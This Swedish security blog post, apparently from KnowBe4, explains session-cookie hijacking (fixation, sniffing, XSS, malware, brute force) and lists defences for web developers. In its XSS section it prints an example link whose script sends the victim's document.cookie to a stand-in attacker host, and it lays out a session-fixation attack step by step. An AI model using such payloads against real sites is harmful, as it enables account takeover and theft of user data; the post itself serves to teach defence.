Session-cookie stöld eliminerar behovet av inloggningsuppgifter

logo

Av Kaj Johnson

2024-05-17

Genom att stjäla session-cookie så behöver inte en angripare inloggningsuppgifterna. Och inte heller tillgång till 2FA-koden!

Session-cookie stöld är inget nytt

”Session-cookie”-stöld (sessionskapning) är inget nytt tillvägagångssätt då det har använts av hackare under flera år.

Men då fler och fler företag kräver 2FA vid inloggning så fokuserar nu cyberbrottslingarna på det som sker efter att en användare har loggat in. Och detta är ett skrämmande koncept på grund av hur många webbplatser vi loggar in på varje dag. Detta är också ett antal som troligen har ökat stadigt över tid, eftersom fler och fler onlinetjänster blir en del av vår alltmer ”uppkopplade” livsstil. Och eftersom vi lagrar känslig information överallt online idag kan effekterna vara förödande.

Så hur fungerar sessionskapning exakt? Vilka är de olika metoder som angripare kan använda för att utföra det? Och vad kan du göra för att skydda dig mot deras försök?

Vad är en session?

Innan vi går in på kapning av sessioner ska vi först gå igenom vad vi exakt menar med en ”session”. HTTP är i sig ”stateless”, vilket innebär att varje begäran utförs oberoende och utan någon kunskap om de begäranden som kördes tidigare. I praktiken innebär detta att du måste ange ditt användarnamn och lösenord igen för varje sida du tittar på.

Därför behövde utvecklarna skapa ett sätt att spåra kopplingen mellan flera anslutningar från samma användare, i stället för att be användaren att autentisera sig på nytt mellan varje klick i en webbapplikation.

Lösningen är sessioner. De fungerar som en serie interaktioner mellan två enheter, t.ex. din dator och en webbserver. När du loggar in på en applikation skapas en session på servern. Detta upprätthåller kopplingen och refereras till under alla framtida förfrågningar du gör.

Session cookie
Dessa sessioner används av applikationer för att hålla reda på användarspecifika parametrar, och de förblir aktiva så länge användaren är inloggad i systemet. Sessionen förstörs när du loggar ut eller efter en viss period av inaktivitet från din sida. Vid den tidpunkten raderas användarens data från det tilldelade minnesutrymmet.

Sessions-ID är en viktig del av denna process. De är en sträng, vanligtvis slumpmässig och alfanumerisk, som skickas fram och tillbaka mellan servern och klienten. Beroende på hur webbplatsen är kodad kan du hitta dem i cookies, webbadresser och dolda fält på webbplatser t.ex:

I URL: www.mywebsite.com/view/99D5953G6027693
Lagrat såsom ett dolt fält i en HTML-sida:

input type=”hidden” name=”sessionID” value=”19D5Y3B”
Vad är Session-cookie stöld?

Session hijacking inträffar när en användarsession tas över av en angripare. Som vi diskuterade, när du loggar in på en webbapplikation ställer servern in en tillfällig sessionskaka i din webbläsare.

Detta gör att webbservern kommer ihåg att du är inloggad och autentiserad. Eftersom den här typen av attack kräver att angriparen har kunskap om din sessionscookie kallas den ibland också för cookie-kapning. Det är en av de mest populära metoderna för att angripa klientautentisering på webben.

En hackare måste känna till offrets sessions-ID för att kunna genomföra en sessionskapning. Det kan erhållas på några olika sätt (mer om det senare), bland annat genom att stjäla sessionskakan eller genom att lura användaren att klicka på en skadlig länk som innehåller ett förberett sessions-ID.

Oavsett vilket kan angriparen ta kontroll över sessionen genom att använda det stulna sessions-ID:t i sin egen webbläsarsession. I princip luras servern att tro att angriparens anslutning är densamma som den riktiga användarens ursprungliga session.

session cookie stöld
När hackern har kapat sessionen kan de göra allt som den ursprungliga användaren är behörig att göra. Beroende på vilken webbplats det handlar om kan det innebära bedrägliga köp, tillgång till detaljerad personlig information som kan användas för identitetsstöld, stöld av konfidentiella företagsuppgifter eller helt enkelt tömning av ditt bankkonto. Det är också ett enkelt sätt att starta en ransomware-attack, eftersom en hackare kan stjäla och sedan kryptera värdefull data.

Konsekvenserna kan bli ännu värre för större företag eftersom cookies ofta används för att autentisera användare i SSO-system (Single Sign-On). Det innebär att en framgångsrik attack kan ge angriparen tillgång till flera webbapplikationer samtidigt, inklusive finansiella system, kunddatabaser och lagringsplatser som innehåller värdefull immateriell egendom. Det säger sig självt att sessionskapning inte leder till något gott, oavsett vem du är.

Så hur utförs sessionskapning egentligen? Det finns några olika tillvägagångssätt som hackare kan använda sig av.

Så här går det till att stjäla session-cookien

KnowBe4:s Chief Hacking Officer, den numera avlidne Kevin Mitnick, visar i denna video (06:21) hur enkelt det är att stjäla en session-cookie.

Allt fler organisationer går över till 2FA för att förbättra säkerheten, vilket är mycket bra. Den här videon visar dock att 2FA inte innebär att du är automatiskt skyddad. Den andel av dina användare som är utsatta för Phishing är fortfarande din största sårbarhet, eftersom anställda fortsätter att vara den svagaste länken i din IT-säkerhet, 2FA eller inte.

Vanliga metoder för kapning av sessioner

Fixering av session

Sessionfixeringsattacker utnyttjar sårbarheten i ett system som gör det möjligt för någon att fixera (dvs. hitta eller ställa in) en annan användares sessions-ID. Denna typ av attack bygger på att webbplatsen accepterar sessions-ID från webbadresser, oftast via nätfiskeförsök. En angripare skickar t.ex. en länk till en utvald användare som innehåller ett visst sessions-ID.

När användaren klickar på länken och loggar in på webbplatsen vet angriparen vilket sessions-ID som används. Det kan sedan användas för att kapa sessionen. Den exakta attacksekvensen är som följer:

  1. En angripare upptäcker att http://www.unsafewebsite.com/ accepterar alla sessionsidentifierare och inte har någon säkerhetsvalidering.
  2. Angriparen skickar offret ett phishing-e-postmeddelande med texten ”Hej Mark, kolla in den här nya kontofunktionen från vår bank.” Länken leder offret till http://unsafewebsite.com/login?SID=123456. I det här fallet försöker angriparen fixera sessions-ID:t till 123456.
  3. Offret klickar på länken och den vanliga inloggningsskärmen dyker upp. Ingenting verkar fel och offret loggar in som vanligt.
  4. Angriparen kan nu besöka http://unsafewebsite.com/?SID=123456 och ha full tillgång till offrets konto.
Session Fixation
En variant av denna attack skulle inte ens kräva att offret loggar in på webbplatsen. Istället skulle angriparen fixa sessionen så att de kunde spionera på offret och övervaka de uppgifter de anger.

Det är i huvudsak det omvända av det scenario vi just diskuterade. Angriparen loggar in offret själv och sedan använder offret webbplatsen med angriparens autentisering. Om offret till exempel bestämmer sig för att köpa något kan angriparen få fram kreditkortsuppgifterna genom att titta på historiska data för kontot.

Session Sniffing

Sessionssniffning innebär att en hackare använder en paketsniffer, t.ex. Wireshark, för att fånga upp och logga paket när de flödar över en nätverksanslutning. Sessionscookies är en del av den här trafiken och med sessionssniffning kan en angripare hitta och stjäla dem.

En vanlig sårbarhet som gör att en webbplats är öppen för sessionssniffning är när SSL/TLS-kryptering endast används på inloggningssidor. Detta hindrar angripare från att se en användares lösenord, men om SSL / TLS inte används på resten av webbplatsen kan sessionskapning inträffa. Hackare kommer att kunna använda paketsniffning för att övervaka trafiken för alla andra i nätverket, vilket inkluderar sessionscookies.

Offentliga Wi-Fi-nätverk är särskilt sårbara för den här typen av sessionskapningsattacker. En hackare kan se det mesta av nätverkstrafiken genom att helt enkelt logga in och använda en paketsniffare eftersom det inte finns någon användarautentisering för nätverket. På samma sätt kan en hackare skapa sin egen accesspunkt och utföra man-in-the-middle-attacker för att få tag på sessions-ID och utföra sessionskapningsattacker.

Session Sniffing

Cross-Site Scripting

En XSS-attack (cross-site scripting) lurar användarens maskin att köra skadlig kod, även om den tror att den är säker eftersom den till synes kommer från en betrodd server. När skriptet körs låter det hackaren stjäla cookien.

Sårbarheter i server eller applikation utnyttjas för att injicera skript på klientsidan (vanligtvis JavaScript) på webbsidor, vilket leder till att webbläsaren kör koden när den laddar den komprometterade sidan. Om servern inte anger attributet HttpOnly i sessionscookies kan skadliga skript komma åt ditt sessions-ID.

Ett exempel på en cross-site scripting-attack för att utföra sessionskapning skulle vara när en angripare skickar ut e-postmeddelanden med en speciell länk till en känd, betrodd webbplats. Haken är dock att länken också innehåller HTTP-frågeparametrar som utnyttjar en känd sårbarhet för att injicera ett skript.

För sessionskapning kan koden som är en del av XSS-attacken skicka offrets sessionsnyckel till angriparens egen webbplats. Ett exempel:

<http://www.yourbankswebsite.com/search?<script>location.href=’http://www.evilattacker.com/hijacker.php?cookie=’+document.cookie;<script>

Här skulle kommandot document.cookie läsa den aktuella sessionscookien och skicka den till angriparen via kommandot location.href. Detta är ett förenklat exempel, och i en verklig attack skulle länken troligen använda teckenkodning och/eller URL-förkortning för att dölja de misstänkta delarna av länken.

Malware

Skadlig programvara och andra skadliga tredjepartsprogram kan också leda till sessionskapning. Hackare utformar skadlig programvara för att utföra paketsniffning och ställer in den så att den specifikt letar efter sessionskakor. När den hittar en stjäl den den och skickar den till angriparen. Den skadliga programvaran utför i princip en automatiserad session sniffing attack på användaren.

En annan mer direkt metod för att stjäla sessions-ID är att få tillgång till användarens dator, antingen via skadlig kod eller genom att ansluta direkt till den lokalt eller på distans. Därefter kan angriparen navigera till webbläsarens tillfälliga lokala lagringsmapp, eller ”cookie jar”, och ta ut vilken cookie som helst.

Brute Force

Slutligen kan en hackare försöka ta reda på sessions-ID:t på egen hand. Detta kan göras på två olika sätt. Först kan de försöka gissa sig till sessions-ID:t. Detta kan lyckas om sessions-ID:t är baserat på en lättförutsägbar variabel (som vi berörde tidigare), t.ex. användarens IP-adress eller aktuell tid eller datum. Sekventiella sessions-ID användes ofta i webbens barndom men används sällan längre på grund av deras lätt identifierbara mönster.

En brute force-attack kan också användas, där en angripare försöker använda olika sessions-ID:n om och om igen från en lista. Detta är egentligen bara ett möjligt sätt att kapa sessioner om sessions-ID-formatet består av ett relativt kort antal tecken.

Båda dessa angreppsmetoder kan enkelt motverkas genom att rätt algoritm används för att generera sessions-ID. Genom att använda en algoritm som skapar långa sessions-ID:n som består av slumpmässiga bokstäver och siffror blir det nästan omöjligt för en hackare att utföra sessionskapning på dina användare.

Hur förhindrar man session-cookie stöld?

Det finns många olika sätt för hackare att utföra sessionskapningsattacker, men den goda nyheten är att det finns relativt enkla säkerhetsåtgärder och bästa praxis som du kan använda för att skydda dig själv. Olika skyddar mot olika metoder för kapning av sessioner, så du vill aktivera så många av dem som möjligt. Här är några av de vanligaste förebyggande åtgärderna som du vill börja med (riktar sig främst till webbutvecklare):

Använd HTTPS på hela webbplatsen

Som vi har sett är du inte helt säker mot sessionskapning om du bara använder HTTPS på inloggningssidor.Använd SSL/TLS på hela din webbplats för att kryptera all trafik som skickas mellan parterna. Detta inkluderar sessionsnyckeln. HTTPS-everywhere används ofta av stora banker och e-handelssystem eftersom det helt förhindrar sniffningsattacker.

Använd flaggan för säkra cookies

Den säkra flaggan kan ställas in av applikationsservern när den skickar en ny cookie som en del av ett HTTP-svar. Detta talar om för användarens webbläsare att cookien endast ska skickas via HTTPS - den ska aldrig skickas via HTTP. Detta förhindrar att cookies kan ses av angripare när de överförs i klartext.

Använd långa och slumpmässiga sessions-ID

Genom att använda ett långt slumptal eller en sträng som sessions-ID minskar du kraftigt risken för att det kan gissas genom att prova sig fram eller genom en brute force-attack.

Återskapa session-ID efter inloggning

Detta förhindrar sessionsfixering eftersom sessions-ID:t ändras efter att användaren loggat in. Även om angriparen lurar användaren att klicka på en länk med ett fixerat sessions-ID, kommer de inte att kunna göra något viktigt. Omedelbart efter inloggningen kommer deras fixerade sessions-ID att vara värdelöst.

Utför sekundärkontroller

Ytterligare kontroller kan hjälpa till att verifiera användarens identitet. En server kan t.ex. kontrollera att användarens IP-adress för en viss begäran matchar den IP-adress som användes för den föregående begäran. Det är dock värt att notera att den här specifika lösningen kan skapa problem för dem vars IP-adress ändras, och den förhindrar inte attacker från någon som delar samma IP-adress.

Ändra cookie-värdet

Det finns tjänster som kan ändra värdet på cookien efter varje begäran. Eftersom du inte direkt kan ändra en cookie skapar du tekniskt sett en ny cookie med nya värden och skickar den till webbläsaren för att skriva över den gamla versionen. Detta minskar kraftigt det fönster inom vilket en attack kan ske och gör det lättare att identifiera om en attack har ägt rum. Tänk dock på att två nära i tiden liggande förfrågningar från samma klient eventuellt kan leda till ett token check-fel. I så fall kan du i stället ändra cookiens utgångstid till den kortaste tid som inte orsakar fel.

Logga ut när du är klar

Ta det säkra före det osäkra och logga ut från webbplatser när du är klar med att använda dem.

Använda Anti-Malware

Använd alltid programvara mot skadlig programvara, både på serversidan och på klientsidan. Detta förhindrar att programvara som stjäl kakor kommer in i ditt system.

Acceptera inte sessions-ID från GET/POST-variabler

Sessions-ID:n i webbadresser (frågesträngar eller GET-variabler) eller POST-variabler gör det enkelt att kapa sessioner. Som vi har sett är det vanligt att angripare skapar länkar eller formulär som ställer in dessa variabler.

Acceptera endast servergenererade sessions-ID

Det här är en enkel fråga. Acceptera endast sessions-ID:n från en betrodd källa, i det här fallet servern.

Sessions-ID:n i webbadresser (frågesträngar eller GET-variabler) eller POST-variabler gör det enkelt att kapa sessioner. Som vi har sett är det vanligt att angripare skapar länkar eller formulär som ställer in dessa variabler.

Time-out för inaktiva sessioner

Detta minskar tidsfönstret för en attack och förhindrar en hackare från att komma åt en maskin som har lämnats obevakad.

Rensa misstänkta hänvisningar

När en webbläsare besöker en sida ställer den in Referrer-headern. Den innehåller den länk som du följde för att komma till sidan. Ett sätt att bekämpa sessionskapning är att kontrollera hänvisningsrubriken och ta bort sessionen om användaren kommer från en extern webbplats.

Slutord

Session-cookie stöld är enkelt att genomföra i publika, öppna miljöer, t.ex. hotell, då trafiken inte är krypterad.

Kevin Mitnick rekommenderar i slutet av ovanstående video:

”- Naturligtvis måste du ha användarutbildning och träning, det är en no-brainer, men du måste också genomföra simulerade phishing-attacker så att du kan vaccinera dina användare mot denna typ av risk. Och ännu viktigare, du måste Stanna upp - Titta - Tänka efter innan du klickar på den där länken.”

Utbilda era användare

KnowBe4's säkerhetsutbildning, som består av världens största bibliotek av innehåll, är ML- och AI-baserat och stödjer 30+ olika språk, är plattformen för att säkra det mänskliga lagret av cyberförsvaret.